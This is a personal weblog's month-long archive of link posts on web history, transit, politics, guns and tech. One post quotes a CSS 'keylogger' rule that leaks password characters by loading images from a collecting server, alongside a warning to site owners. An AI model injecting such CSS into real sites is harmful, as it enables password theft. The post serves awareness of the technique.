Flutterby™! From 2018-02-01 to 2018-02-28

Some time in probably 1993 or so, I was writing a BBS system for residential real estate, and needed to display free-form neighborhood text information. Robert Wilson said "hey, there's this neat markup language called HTML, you should look into that", so I used that in my little database browser (called "Hyper!", I sold a couple of copies, the source is still around, but you probably can't find an environment to run it in).

Then, probably also in 1993, maybe as late as 1994, I saw a demonstration at Chattanooga State of what the actual World Wide Web was, with Mosaic, and it blew my mind. And 1994, Mike Harrison and I and a bunch of other misfits moved from a BBS to providing actual dial- up Internet.

Back in those days we observed that we sold Internet service based on the World Wide Web, but we kept those customers because they got hooked on email. Happy 25 years, Mosaic, it's been a hell of a ride.

Mosaic's birthday: 25 years of the modern web 25 years ago, the first release of Mosaic web browser appeared and the web, as you know it, began.

[ related topics: Web development Nature and environment Writing Chattanooga Net Culture Databases Real Estate Woodworking ]

The Economist: Why driverless cars may mean jams tomorrow :

It might, however, improve traffic by making it easier, politically, to impose tolls on roads. Jams occur because a scarce resource, the road, is underpriced, so more people drive than it can accommodate. ...

[ related topics: Current Events Economics ]

We have reached the "medical experiments on the undesirables" stage of civilization: Scott Lloyd, currently in charge of the Office of Refugee Resettlement, wanted to try to reverse the abortion of an undocumented teen</a:

In the past few years, opponents of abortion have championed the idea of halting a medication abortion midway by using the hormone progesterone. Anti-abortion activists have pushed governors in four states to sign laws requiring healthcare providers to tell patients about this so-called “abortion reversal” method. But there is no credible medical evidence that such a procedure works, and the mainstream medical community worries that using it amounts to experimentation on women.

Nevertheless, Lloyd said in the deposition that he and his staff discussed the possibility of abortion reversal. Emails obtained by VICE News, including one sent last March to the clinic handling the abortion of a teenager in ORR’s custody, also mention progesterone explicitly and show that officials had questions about the feasibility of using it “for the purpose of aborting a chemical abortion process.”

[ related topics: Children and growing up Sexual Culture Health History Current Events Pop Culture Community Government ]

Good morning from Helen Putnam Park

[ related topics: Photography ]

Why doesn't the Google Play store have an "I was brought to this app by a malicious ad and this is malware" button?

DNA Lounge: Wherein three national corporations control nearly all of San Francisco's live music.

On monopolistic behavior and live music

[ related topics: Music Bay Area Theater & Plays California Culture ]

Californians: You're buying more cars, here's what that means to mass transit:

“This is a critical issue for our region. Falling ridership increases congestion. Already, six of the 10 most congested roadways are in Los Angeles County,” Ikhrata said. More vehicles mean more air pollutants and greenhouse gases released into the atmosphere, he added.

The study is Falling Transit Ridership: California and Southern California (PDF), by Michael Manville, Brian D Taylor and Evelyn Blumenberg, It mentions a lot of the usual suspects, and that:

While all of these factors probably play some role, we conclude that the most significant factor is increased motor vehicle access, particularly among low-income households that have traditionally supplied the region with its most frequent and reliable transit users.

[ related topics: California Culture Public Transportation ]

Some time in February of 1998 (for some reason I didn't log the day or time of the update then), I sent an email to a server that got piped into a script and made very first entry to the Flutterby weblog.

In mid 1997 I was working at Pixar, a Steve Jobs funded company, and Gil Amelio was ousted by the Apple board and Steve stepped in as the interim CEO. You could hear phones ring sequentially down the halls as journalists tried to find Pixar people would would comment, the soap opera potential was high, and this little web site run by Dave Winer called Scripting News had the best coverage of all the latest on this transition.

Dave's company, Frontier, sold this scripting package and some software written in the scripting package, and Scripting News was a site maintained by his software. There were a few other people using that software similarly, but I'd been looking for an excuse to sling Perl so wrote something called Newwwsboy to manage my own site.

Journals had been happening on the web for a while. I was an avid reader of "The Semi- Existence of Bryon". Even in the history of what eventually became known as "weblogs" we generally go back to like a month or two after the founding of the web itself, but somehow that late 1997 early 1998 group of people who started putting reverse chronologically ordered semi-personal links and commentary on the web became a bit of a movement.

It also became a really cool community. Brad Graham and others organized get-togethers. I remember getting together for drinks with the Pyra gang (who created Blogger). Dinners were a fantastic cross-section of people, it wasn't just computer people, it was librarians, theater people, people who's primary identity was "Mom", all pulled together by the feeling that we had this really cool medium to explore.

I think we generally credit Jorn Barger, proprietor of a weblog called "Robot Wisdom", for the term. I remember Cam Barrett (of CamWorld) and I tossing around names like "microportal" and such.

Sometime around 2000 blogging started to become a thing. Blogger went big. LiveJournal got a boost. Comment systems on blogs happened. The marketing folks realized that we were hogging all the cool Google search results and started exploiting the medium for sales, the New York dilettantes played in it and we got dreck like Julie & Julia (The Julia parts of the movie were okay).

And then, of course, the web became its current dross: Search results gamed by machines to remove any sense of personality, and often value. A huge morass of people trying to thrust advertising brochures at you.

My sister once asked me "does it ever bother you that you built all of the things Facebook did, years earlier, but didn't become Facebook"? And, yeah, it kind of does, but I wasn't trying to build Facebook. I had a higher vision for humanity, one that was more about the awesome people connections that we used to build with the network.

I miss those days, and am looking forward to the next place I can chase that dream.

[ related topics: Pixar Jorn Barger Cameron Barrett Apple Computer Humor Psychology, Psychiatry and Personality Content Management Weblogs Dave Winer Animation Movies broadband Perl Open Source tolkien Robotics Invention and Design Software Engineering Theater & Plays Current Events Consumerism and advertising Journalism and Media Work, productivity and environment Graphics Marketing Community New York Archival Rocky Horror Picture Show hubris ]

Agony is getting a new laptop without having pre-downloaded the ISO you're going to install on it. 1:15 left in the download...

[ related topics: Invention and Design ]

Revelation: When porn+masturbation is seen as an alternative to partnered sex, pornography is targeted towards people who can't find partners. Which explains so much of mass market porn.

[ related topics: Erotic Sexual Culture Economics ]

After the phone crash, rebuilding my podcast subscriptions one link at a time. Today's gem: Rad Bandolar's Historocitor, "history as I remember it". Giggling. https://radbandolar.com/

New laptop has a fingerprint reader. Biometrics have all sorts of downsides for authentication, but what other uses are there for it?

[ related topics: Invention and Design ]

RT SwiftOnSecurity @SwiftOnSecurity 22 Aug 2016:

If Unicode is so good, why is it spelled in ASCII 

[ related topics: Interactive Drama Guns ]

https://terminalsare.sexy/

How parking mandates tilt the market towards luxury housing. Minneapolis's reduced parking requirements gives us a look at what happens when you stop mandating parking...

[ related topics: Economics Real Estate ]

Leaks, feasts and sex parties: How ‘Fat Leonard’ infiltrated the Navy’s floating headquarters in Asia:

A master recruiter, Francis methodically assembled a network of informants to feed him the secret itineraries, court documents show. Wielding remarkable influence for a foreigner, he then prodded his moles on the Blue Ridge to reroute aircraft carriers and other vessels to ports controlled by his firm so he could more easily overcharge the Navy for fuel, other supplies and services.

[ related topics: Erotic Sexual Culture broadband Aviation Boats ]

Probably obvious to everyone but me, but "Paperclip Maximizer" is just this year's way of saying "Sorcerer's Apprentice". #kidsthesedays

You know how study after study either found no effect, or a cathartic effect, with violence in video games, and yet the meme kept propagating? Looks like the full text of this one would be worth tracking down... Selling violent video game solutions: A look inside the APA's internal notes leading to the creation of the APA's 2005 resolution on violence in video games and interactive media

[ related topics: Games Journalism and Media Marketing Video ]

Gimlet: Episode #112 The Prophet. There's a transcript for the podcast averse.

Andrea Noel is an American reporter in Mexico. Random guy assaults her, she finds surveillance video, posts it on the internet, huge outpouring of sympathy, but then the trolls find her. This goes back and forth, and then...

Then she discovers that the troll army is something that the PRI (Mexico's Institutional Revolutionary Party) has been funding to create diversions and propaganda...

[ related topics: Net Culture Video ]

Morning rush hour along the river as the birds began their commute.

[ related topics: Photography Birds ]

The onslaught of marketers with big data and AIs will only be countered with similar personal technology advocating for us. Moving our (social) media consumption into a form that we can apply such technology to is a pressing need.

[ related topics: Journalism and Media ]

Hidden tunnel could lead to Mayan 'entrance to the underworld'. And archaeologists are going to excavate it.

Last November, they explored two underground passageways leading from a smaller pyramid at Chichen Itza, known as the Ossuary. They had hoped the passageways would lead beneath El Castillo, but discovered the Maya had intentionally sealed them off with piles of stone.

"The Maya blocked things a lot," said de Anda. "In a cave that's important they seal it forever."

Forever, or until a group of determined archaeologists comes along.

Yeah, have these people never seen an archeology movie?

Also, those people who are trying to design "keep away" iconology good for ten thousand years for nuclear waste dumps might want to look at what the Maya culture did as a "how not to".

[ related topics: Movies Sociology Beer California Culture Graphic Design Dan & Charlene's July 2003 San Juan Trip ]

So the EPA uses $7.4M in 2006 dollars as the statistical value of a life. CPI says that's $9.2M today. 1.18 deaths/100M vehicle miles. So direct fatalities are just under $.11/mi external cost of automobile travel. (Pollution deaths are more)

[ related topics: Automobiles ]

Whoah, 1990-2016, passenger rail deaths averaged 9.66/100M passenger mile. Assuming auto occupancy of 1.6, and 1.18 deaths per 100M vehicle miles, is passenger rail really an order of magnitude more dangerous than cars? I've gotta be wrong.

[ related topics: Trains ]

David Henderson in the Library of Economics and Liberty: Male Uber Drivers Earn More and It's Not Due to Discrimination. I think its an overstatement to say "not due to discrimination", but drawing on The Gender Earnings Gap in the Gig Economy: Evidence from over a Million Rideshare Drivers by Cody Cook, Rebecca Diamond, Jonathan Hall John A. List, and Paul Oyer which says:

We find that men earn roughly 7% more per hour than women on average, which is in line with prior estimates of gender earnings gaps within specifically defined jobs (Bayard et al. (2003), Barth et al. (2017)). We can explain the entire gap with three factors. First, through the logic of compensating differentials, hourly earnings on Uber vary predictably by location and time of week, and men tend to drive in more lucrative locations. The second factor is work experience. Even in the relatively simple production of a passenger's ride, past experience is valuable for drivers. A driver with more than 2,500 lifetime trips completed earns 14% more per hour than a driver who has completed fewer than 100 trips in her time on the platform, in part because she learn where to drive, when to drive, and how to strategically cancel and accept trips. Male drivers accumulate more experience than women by driving more each week and being less likely to stop driving with Uber. Because of these returns to experience and because the typical male Uber driver has more experience than the typical female--putting them higher on the learning curve--men earn more money per hour.

I haven't had time to dig in yet to see if they looked at whether women don't feel comfortable with a certain class of rides or pick-ups and drop-offs in less savory neighborhoods, which is my first thought of impacts, but there are some interesting notes here.

[ related topics: Language Interactive Drama Books Food History Theater & Plays Work, productivity and environment Currency Education Economics Archival ]

The Economist: What’s the matter with Oklahoma?

FORTY miles from Tulsa, sometimes along unpaved roads, sits Wagoner High School, with its 650 pupils, championship-calibre football team and show barn—a seemingly ordinary small-town school. But unlike most high schools, Wagoner is closed on Mondays. The reason, a severe reduction in state funds, has pushed 90 other school districts in Oklahoma to do the same. Teacher pay is the third-lowest in the country and has triggered a statewide shortage, as teachers flee to neighbouring states like Arkansas and Texas or to private schools. “Most of our teachers work second jobs,” says Darlene Adair, Wagoner’s principal. “A lot of them work at Walmart on nights and weekends, or in local restaurants.” Ms Adair hopes that Walmart does not offer her teachers a full-time job, which would be a pay rise for many.

If you can't educate the next generation, the population is gonna slide back to a Malthusian existence.

[ related topics: Children and growing up Interactive Drama Food Current Events Work, productivity and environment Heinlein Sports Economics ]

RT Kyle Machulis‏ @qDot:

BREAKING NEWS: Travis Kalanick is a furry.

But probably one of those weird transportation furries that’s got a fursona that is actually a car.

https://twitter.com/sarahjeong/status/961270171368243200

"fursona that is actually a car" accurately describes the approach so many of us have to transportation modes.

[ related topics: Current Events Automobiles ]

When you see the Muni bus go by before you get to the stop, but are able to beat traffic on foot to catch it at the next stop.

[ related topics: Public Transportation ]

Limiting your child's fire time: A guide for concerned paleolithic parents

[ related topics: Humor Pyrotechnics Douglas Adams ]

Just a thought: what if, instead of clogging valuable surface streets for this, we had underground pipes for water delivery?

[ related topics: Interactive Drama Photography ]

RT puppy @duckinator

i just got turned down for contract work assisting a company split a large project into a collection of libraries and releasing them using rubygems, because i "have neither a degree nor relevant experience."

...

i'm one of the rubygems maintainers. 🙃

[ related topics: Work, productivity and environment ]

Russian Trolls Ran Wild On Tumblr And The Company Refuses To Say Anything About It — Tumblrs run by Russian trolls generated hundreds of thousands of interactions with anti–Hillary Clinton, pro–Bernie Sanders content.

Whatever your own feelings about professional trolling on social media, somebody thinks it's worth putting a lot of money behind.

[ related topics: Politics Journalism and Media Currency ]

PNAS: Historical collections reveal patterns of diffusion of sweet potato in Oceania obscured by modern plant movements and recombination.

In the first origin, the Polynesian sweet potato (Kumara lineage) was introduced by Polynesian voyagers who collected it somewhere from the western coast of South America, between 1000 and 1100 A.D.

Just click through and go look at "Figure 1", which shows the spread of the sweet potato across the Pacific Ocean, tracked partially by the evolution of local names.

Via

[ related topics: Food Television California Culture ]

Bicycle race fatality inspires Senate bill creating violation for negligent driving.

The last race of Topeka cyclist Glenda Taylor’s career was the 2015 Kansas State Bicycle Time Trial Championships.

Taylor, head of the art department at Washburn University, was killed when she was struck by a pickup truck in Crawford County. The impact threw her 169 feet into a ditch. Her pelvis was crushed and bones in her arms and legs were shattered. Her aortic artery was torn from her heart.

So the Kansas Senate Transportation Committee is being urged to adopt legislation that would impose a fine "... if the driver causing a crash outside city limits was engaged in an activity that distracted him or her from the road."

They're sending a message. The proposed fine is $45.

The perpetrator in this particular killing was convicted of manslaughter, sentenced to 34 months in prison, the judge suspended the prison time for 36 months of probation and 60 days in jail.

As always, I have mixed feelings about the punishment for killing with a motor vehicle: I suspect that driver will forever more be cautious and will probably be wracked with guilt for the rest of their life, but I wish we had some actually effective deterrents for behaving recklessly with a motor vehicle.

[ related topics: Interactive Drama Politics Law Current Events Art & Culture Machinery Education Pedal Power Bicycling ]

Current frustration: .pdfs which can only be read by current versions of Adobe Acrobat, and Adobe Acrobat being broken on current versions of Ubuntu or under Wine.

[ related topics: Wines and Spirits ]

Thinking about these "what's your right wing conspiracy theory?" and similar memes based on the last 4 digits on your phone number, and wondering what the overlap between ATM PIN and phone numbers is...

[ related topics: Conspiracy Government ]

San Francisco firefighters union asks mayoral candidates for veto power over bike lanes, pedestrian safety projects.

Two things:

1. WTF? This seems the sort of thing the office of the fire chief might ask, but the union?
2. Seems like all of these improvements should have some notion of statistical lives saved (hard to do because of macroeconomic effects, but...) and any impacts on emergency response should be even easier to quantify.

There are the macro effects, what do more or fewer cars mean for response, that sort of thing, but just at the minimal ones...

[ related topics: Bay Area California Culture Pyrotechnics Bicycling ]

A Dildo Maker Has Finally Determined What The Shape of Water's Fish Dick Looks Like

Thanks, Tara

[ related topics: Erotic Sexual Culture ]

This address on Mission is hella 1337

[ related topics: Photography ]

"Eat your vegetables" they said. Fuck it, I'm going to an all bacon diet: Spread of breast cancer linked to compound in asparagus and other foods

Asparagine bioavailability governs metastasis in a model of breast cancer doi:10.1038/nature25465

[ related topics: Nature and environment Food Television Food - Bacon ]

The Economic Impact of Denying Abortion Care May Be Bigger Than You Think

ANSIR: Turnaway Study

The Turnaway Study is ANSIRH’s prospective longitudinal study examining the effects of unintended pregnancy on women’s lives. The major aim of the study is to describe the mental health, physical health, and socioeconomic consequences of receiving an abortion compared to carrying an unwanted pregnancy to term. From 2008 to 2010, we recruited from 30 abortion facilities around the country—from Maine to Washington, Texas to Minnesota—to recruit about 1,000 women who sought abortions, some who received abortions because they presented for care under the gestational limit of the clinic and some who were “turned away” and carried to term because they were past the gestational limit.

[ related topics: Sexual Culture Health History Current Events Economics ]

Americans staying home, streaming video, and using less energy because of it — Decouple economic growth from energy consumption: Tell your boss you want to work from home.

Joule:

Changes in Time Use and Their Effect on Energy Consumption in the United States Ashok Sekar, Eric Williams, Roger Chen

Lifestyles are changing due to information technology and other socio- technological trends. We study the energy effects induced by lifestyle shifts via tradeoffs in time spent in performing activities. We use the American Time Use Survey to find changes in times performing different activities from 2003 to 2012. The results show that Americans are spending considerably more time at home (7.8 days more in 2012 compared with 2003). This increased home time is counterbalanced by decreased time spent traveling (1.2 days less in 2012 versus 2003) and in non-residential buildings (6.7 days less in 2012 versus 2003). Increased residential time is mainly due to increased work at home, video watching, and computer use. Decomposition analysis is then used to estimate effects on energy consumption, indicating that more time at home and less on travel and in non-residential buildings reduced national energy demand by 1,700 trillion BTU in 2012, 1.8% of the national total.

https://doi.org/10.1016/j.joule.2018.01.003

[ related topics: Work, productivity and environment Video Economics ]

CNN: People are now flying around in autonomous drones which is kind of like "well, yeah, we've seen flying bathtubs", and Germany has the Yolocopter Volocoptr but this is Chinese company Ehang with one and two passenger vehicles:

https://www.youtube.com/watch?v=Mr1V-r2YxME

[ related topics: Business Movies Aviation Currency ]

ODINI : Escaping Sensitive Data from Faraday-Caged, Air-Gapped Computers via Magnetic Fields Mordechai Guri, Boris Zadov, Andrey Daidakulov, Yuval Elovici — Ben-Gurion University of the Negev Cyber Security Research Center:

In this paper, we present a new type of covert channel that can be used to exfiltrate information from air-gapped computers through Faraday cages. Our method uses low frequency magnetic fields generated by a computers CPU. These fields penetrate metal shields, and hence can be used to bypass the protective Faraday cages.

[ related topics: Invention and Design Education ]

Half of me is like "oh, Lake County, don't ever change", the other half of me is "holy crap, they had 800 gallons of ethyl alcohol in 'a barn type structure' and things went wrong?, this is why we need OSHA!"

http://www.record-bee.com/gene...in-mendocino-county-in-four-days

[ related topics: Current Events ]

Just walked out on to the street in San Francisco and screamed "blockchain", but nobody threw money at me. Is this thing played out, or did I do it wrong?

[ related topics: Bay Area California Culture Currency ]

Utah mom upset after school tells 6th graders they can’t say no when asked to dance:

[ related topics: Children and growing up ]

"I am the very model of a New York Times contrarian / My intellect is polished but my soul’s authoritarian ..."

[ related topics: Invention and Design Sociology California Culture New York ]

Eccentric Flower: The Myth of No History and the Shadows of Old Gods

Still pondering this, and discussing it in another channel.

[ related topics: hubris ]

Former Mayor of San Luis Obispo California writes letter to city council decrying new bikeway:

Tonight, you (San Luis Obispo City Council) have before you a request for permission to assault that tranquility in order to create a gigantic urban rape. Yes, rape! No other word would be proper. The rape will not be performed by a male penis, but by thousands of inanimate bicycles guided by individuals who will have absolutely no understanding of that precious tranquility they will be destroying in their mindless focus of getting from point “A” to point “B” with the least possible inconvenience to themselves.

Via Streetsblog

[ related topics: Sexual Culture Invention and Design California Culture Bicycling ]

Father convicted in son's meningitis death will not speak at wellness expos after backlash — David Stephan of Nelson, B.C. was selling 'multivitamin replacement. Before the publicity caused the sponsors started pulling out, the organizer said all sorts of skeevy stuff, but also:

"I look for the most controversial thing I can," he added. "If it's out there and it's controversial, that means people are talking about it. There's no better place to talk about something than at a place where you can actually find out the facts from the original person."

The vitamin salesguy and his wife were convicted in 2016 of "...failing to provide the necessaries of life to their son Ezekiel, who died in 2012."

[ related topics: Interactive Drama Health Current Events Marriage ]

Speed-camera trial for San Jose, San Francisco dies in Assembly. The most vocal opposition comes from police unions, CHP Officer Tom Maguire of the California Association of Highway Patrolmen said:

“I have never investigated or assisted in an investigation that involved a vehicle and a pedestrian or a vehicle and a bicycle that resulted in a fatality where speed was the primary collision factor,” Maguire said. “Never.”

“I have never investigated or assisted in an investigation that involved a vehicle and a pedestrian or a vehicle and a bicycle that resulted in a fatality where speed was the primary collision factor,” Maguire said. “Never.”

The author of the bill brought up the death of Aileen Quiroz Chavez:

Juana Maria Quiroz says she's had her own close calls with speeding cars in this neighborhood. Some neighbors have been pushing for speed bumps to slow down traffic but were previously overruled by other neighbors who didn't want them. But police on Wednesday said it didn't appear as though the driver was speeding, and that the family was inside the crosswalk when they were struck.

[ related topics: Photography Bay Area Software Engineering Sociology Current Events Law Enforcement California Culture Pedal Power Bicycling ]

Officers kill man with no active warrants at wrong house. "No active warrants" is a weird way to say "innocent", but judging from the man's name I guess he wasn't Caucasion, so can be presumed guilty until proven innocent. And there was a firearm in the house, but accounts from witnesses differ from those of police as to whether that the dead man was in possession of that weapon, and whether the police warned him to drop it.

A warrant out of Tate County shows Samuel Pearman was wanted for domestic assault. But, when Southaven officers arrived on Surrey Lane to arrest Pearman, they did not show up to the correct house.

Instead, officers missed their target by 36 feet. Those 36 feet made all the difference to Ismael Lopez and his wife.

New York Daily News: Mississippi police fatally shoot man while attempting to serve warrant at wrong house

NBC News: Mississippi Police Fatally Shoot Man at Wrong House While Serving Warrant

CNN: Mississippi police who fatally shot man had wrong house, DA says

[ related topics: Privacy Invention and Design Current Events Law Enforcement Television Guns New York Marriage Real Estate ]

How bad is the congestion in Marin? The bus driver isn't using the HOV lane.

[ related topics: Bay Area Public Transportation ]

Command-line Tools can be 235x Faster than your Hadoop Cluster. Picked up a few cool things in here, including using xargs for parallelization.

"Data doesn't lie"? Twitter aggressively pursuing the profoundly ignorant is a useful strategy while they're simultaneously trying to get us to buy advertising and convince us that state sponsored bot accounts aren't influencing US policy.

[ related topics: Photography Consumerism and advertising ]

WLS-Ch.7 blames graphics 'mix-up' for confusion between P.F. Chang's and Pyeongchang:

Pyeongchang is a mountainous county 110 miles southeast of Seoul in South Korea, and the host of the 2018 Winter Olympics.

P.F. Chang’s is an Asian-inspired chain restaurant with 210 U.S. locations, including ones in Chicago, Lombard, Northbrook, Orland Park and Schaumburg.

The lesson seems to be: Don't let your sports department satire bleed over into your newsroom.

[ related topics: Food Current Events Graphics Sports ]

Israeli police find 'sufficient evidence' to indict Benjamin Netanyahu:

According to a police report published late Tuesday, authorities found evidence of "accepting bribes, fraud, and breach of trust."

[ related topics: Law Enforcement ]

Considering my life choices after seeing just how many meetups and groups I'm interested in are having meetings tomorrow evening (Valentne's Day).

Never Ending September Date:

This program wraps the libc localtime() and gmtime() functions to output the eternal September 1993 date. The epoch month is configurable (new in version 0.3).

[ related topics: Invention and Design Software Engineering ]

ICE's Top Lawyer In Seattle Admits To Stealing Immigrants' Identities — Raphael A. Sanchez admitted to using ICE's database to steal immigrants' information and opening up credit cards in their names. He also named immigrants as dependents in tax returns.

[ related topics: Politics Law Databases Seattle ]

"Thoughts and prayers" is to this generation what "sucks to be you" was to the'90s.

Marin man accused of ramming cyclists ordered to stand trial.

A Novato man accused of ramming cyclists with his pickup truck in West Marin was ordered to stand trial on all counts.

Aaron Michael Paff, 21, is charged with four felony hit-and-run charges. He could face a sentence of up to five years if convicted.

[ related topics: Interactive Drama Bay Area Current Events Machinery Gambling ]

Cuomo plans to ban police officers from having sexual contact with detainees

[ related topics: Politics Erotic Sexual Culture Current Events Law Enforcement ]

ADL: Florida White Supremacist Group Admits Ties to Alleged Parkland School Shooter Nikolas Cruz. Except it turns out that this was likely just a terrorist organization trying to take credit for the actions of someone they likely didn't have contact with: Local law enforcement: No ties between militia and Florida high school shooter.

So kinda like when ISIS/ISIL jumps on the latest bandwagon any time someone with darker skin than usual flips out.

[ related topics: Children and growing up Weblogs Current Events Law Enforcement Race ]

Because I keep wanting to be able to get back to it: Optipess comic: Thoughts and Prayers

How come with all the "inventive cuisine" around I've never seen shrimp cockatiel on a menu?

Faith City shooting investigation in "early stages". Gunman took 100 to 150 people hostage in a chapel, someone took the gun from him, police shot the guy who took the gun...

"The officers fired shots that struck the man," said [Amarillo Police Sergeant Brent] Barbee. "After some additional investigation, they've learned that the man that the gun may have taken the firearm away from the original suspect in the call. The man who originally had the gun has been taken into custody."

One of the difficulties of having multiple uncoordinated responders in hostage or active shooter situations.

Via Via

[ related topics: Religion Invention and Design Law Enforcement Guns ]

RT the not-liberal Fabian:

*whispers in your ear* white nationalists murdering people will never be called terrorism in America because terrorism implies its a threat to the state apparatus but white nationalist violence only reenforces the state apparatus in America

[ related topics: Race ]

Making pizza tonight. Or as I like to call it: Playing chicken with the smoke alarm.

[ related topics: Food Birds ]

Struggling with camera stuff, need to move this between computers, posting to Flutterby is the easiest way to do so. https://github.com/ashmastaflash/cam

Raspberry Pi camera w/motion detection.

Motion-detecting camera GPG-encrypts images and video, uploads all to S3.

[ related topics: Cameron Barrett Photography Video ]

Annoying: the refrigerator has a 10 f difference between two shelves.

[ related topics: Photography ]

Me, in July: "I could go for some iced lemonade."

The tree, in February cold snap (partial harvest from tonight):

[ related topics: Photography ]

Sunset on the way to Vallejo at the hills of the Windows 95 default desktop background.

[ related topics: Photography Microsoft ]

Podcasts I'm gonna have to go back and listen to again because they were so much: "PodCastle 506: La Gorda and the City of Silver" http://podcastle.org/2018/01/2...castle-506-la-gorda-city-silver/

Cold this morning on the trail.

[ related topics: Photography ]

Various cool blooms on the morning run too!

[ related topics: Photography ]

Mental Health and Self-Worth in Socially Transitioned Transgender Youth

These findings are in striking contrast to previous work with gender- nonconforming children who had not socially transitioned, which found very high rates of depression and anxiety. These findings lessen concerns from previous work that parents of socially transitioned children could be systematically underreporting mental health problems.

https://doi.org/10.1016/j.jaac.2016.10.016

[ related topics: Children and growing up Sexual Culture Health Work, productivity and environment ]

A keylogger written in pure CSS. https://github.com/maxchehab/CSS-Keylogging

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Beware sites that allow end-user customization... Although the Twitter thread at https://twitter.com/captbaritone/status/966051583132758016 suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.

The Octopus Jig (Facebook Video). It says "Octopus", but there's only six arms... 3 people playing 3 instruments, but each playing a different part of the instrument (one's strumming, one's fingering).

[ related topics: Video ]

The unwitting: The Trump supporters used by Russia

Florine Gruen Goldfarb runs the Team Trump Broward County Facebook page, which posted numerous times about events that were promoted and encouraged by the Russians. Speaking to CNN on Sunday, she said she didn't believe she was influenced by the Russians and said she thought that Friday's indictment was a ploy to distract from the FBI's mishandling of tip-offs it had received about the Parkland, Florida school shooter.

[ related topics: Children and growing up Business Journalism and Media Law Enforcement Heinlein Net Culture Currency ]

RT Eλf Sternberg @elfsternberg

<blockuote>"Leisure luxuries and the labor supply of young men." https://scholar.princeton.edu/...ure-luxuries-labor-june-2017.pdf Man, if video games dropped labor involvement in men under 30 by 3%, just wait until sexbots hit the market.

The abstract:

Younger men, ages 21 to 30, exhibited a larger decline in work hours over the last fifteen years than older men or women. Since 2004, time-use data show that younger men distinctly shifted their leisure to video gaming and other recreational computer activities. We propose a framework to answer whether improved leisure technology played a role in reducing younger men’s labor supply. The starting point is a leisure demand system that parallels that often estimated for consumption expenditures. We show that total leisure demand is especially sensitive to innovations in leisure luxuries, that is, activities that display a disproportionate response to changes in total leisure time. We estimate that gaming/recreational computer use is distinctly a leisure luxury for younger men. Moreover, we calculate that innovations to gaming/recreational computing since 2004 explain on the order of half the increase in leisure for younger men, and predict a decline in market hours of 1.5 to 3.0 percent, which is 38 and 79 percent of the differential decline relative to older men.

[ related topics: Interactive Drama Games Invention and Design Work, productivity and environment Video Gambling Economics ]

National Women's Law Center: Changing the School System’s Approach to Discipline:

...Half of Black girls’ suspensions are for minor offenses such as violating the dress code, chewing gum, or talking back to a teacher. These behaviors don’t pose threats to classmates or disrupt teaching. But they challenge society’s idea of femininity– white femininity.

[ related topics: Children and growing up Weblogs Race ]

Interesting use of "collision" vs "accident" from the Petaluma PD.

[ related topics: Photography Law Gambling ]

As long as racism, social authoritarian beliefs, and snake oil shysters wrap themselves in Christianity, Billy Graham will live on.

Addendum: I should have used bigotry: Graham was willing to follow some social change on racism, even as he attacked activists who led the charge against racism, but he was still anti-gay to the end.

[ related topics: Religion Theater & Plays Race ]

Why We Moved From NoSQL MongoDB to PostgreSQL. One of their reasons, needing to check for existence in the record because not all records have a field, is a bad one. And restructuring a large database can take an unacceptable amount of time (work is currently dealing with this issue in old MySQL databases and our archive policies around that), but it's still a good set of things to consider about NoSQL before you hitch a wagon to it.

[ related topics: Open Source Work, productivity and environment Databases ]

Friend describing how their child is referring to lingo as "super 1900s" is making me feel hella old.

I am not one to mock anyone's gender expression, but those women do present as very butch... http://kutv.com/news/local/byu...ible-satire-with-all-male-photos

[ related topics: Photography Current Events Mathematics ]

Amazing how the "we need guns to protect our rights from the government" crowd seems to be lining up behind some pretty authoritarian "arm the teachers" and "metal detectors in the hallways" proposals.

[ related topics: Children and growing up moron Civil Liberties Guns ]

Hey, you know what study after study has suggested is correlated with a reduction of sexual violence? The availability of pornography.

I don't have an answer to the gun violence problem, but it does seem as though we as a society took the relationship violence of the Parkland shooter seriously, there may have been legal mechanisms in place to prevent him from having a firearm.

Instead, we have decided to keep perpetuating the social structures that tacitly accept violence against women and violence in relationships.

Florida House refuses to debate guns, declares porn dangerous

[ related topics: Erotic Sexual Culture Law Current Events Guns Gambling Real Estate ]

Rolling Stone: Blaming Video Games for School Shootings Is Misguided, Dangerous:

If there is any link between violent video games and school shootings it is in the opposite direction expressed by politicians and researchers examining irritating loud noise exposure – those who perpetrate acts of violence in schools are more than three times less likely to play violent video games than an average high school student.

and USA Today: Do violent video games make kids violent? Trump thinks they could:

Not so fast, says Villanova University psychologist and researcher Patrick Markey. “All we can really say for sure is that there does not appear to be a link at this time between violent video games and school shootings,” he said. “And if there is a link, it goes in the opposite direction.”

That is, school shooters are actually less likely to be interested in violent games than their peers. A few, such as Virginia Tech gunman Seung-Hui Cho, had no interest at all — a fact that surprised his roommate, who “thought it was weird he didn’t play video games,” Markey said.

[ related topics: Children and growing up Interactive Drama Games Current Events Education Video ]

Minnesota 3rd-grader fires police officer's gun during school activity:

The officer was talking with students at the Harmony Learning Center in Maplewood, Minnesota -- about 15 miles east of Minneapolis -- when the student pulled trigger of the officer’s weapon, ABC affiliate KSTP reported, citing a Maplewood Police Department news release.

[ related topics: Children and growing up Current Events Law Enforcement Guns Education ]

Quick! Find some interesting content to go here!

[ related topics: Children and growing up Current Events Law Enforcement Guns Education ]

Dear Google: If I didn't want to search for the word, I wouldn't have typed it in! Stop showing me strike-out results. #eyeroll

[ related topics: Interactive Drama ]

In the context of "arm all the teachers", I was reminded of Olin Shivers on CS grad students and automatic weapons:

I am very fond of Berkeley. I think that while LA represents the dark, twisted climb-the-water-tower-and-start-shooting-until-the-Marines-settle-it side of California weirdness, Berkeley represents the very best of the pure, innocent-killer side of it all. The first weekend I ever spent in Berkeley was in the summer of 1983. I was sitting down at one of those really delightful cafes you have out there. To my left some old man was drinking cappucino and practicing Chinese calligraphy; down the street some undergraduates were engaged in a running firefight. I was taking it all in, thinking that Berkeleians have remembered something about living well that the rest of America seems to have forgotten, when this kid's stray .223 slug shattered my glass of pomegranate soda. "Crazy undergraduates" I remember chuckling to myself as I put the safety back on my Hi-Power and returned it to its holster.

Another link: http://www.ccs.neu.edu/home/shivers/autoweapons.html

[ related topics: Children and growing up Humor Bay Area California Culture Sports Guns ]

Days Since A Cryptocurrency Exchange Has Lost More Than $100 Million .com

Okay, this is a pretty cool form-factor for a folding scooter/shopping cart: https://www.urb-e.com/

Huh. Spectrum has embraced the coconut oil as lube market...

[ related topics: Photography Economics Personal Lubricant ]

I really need to implement delete...

[ related topics: Photography Community ]

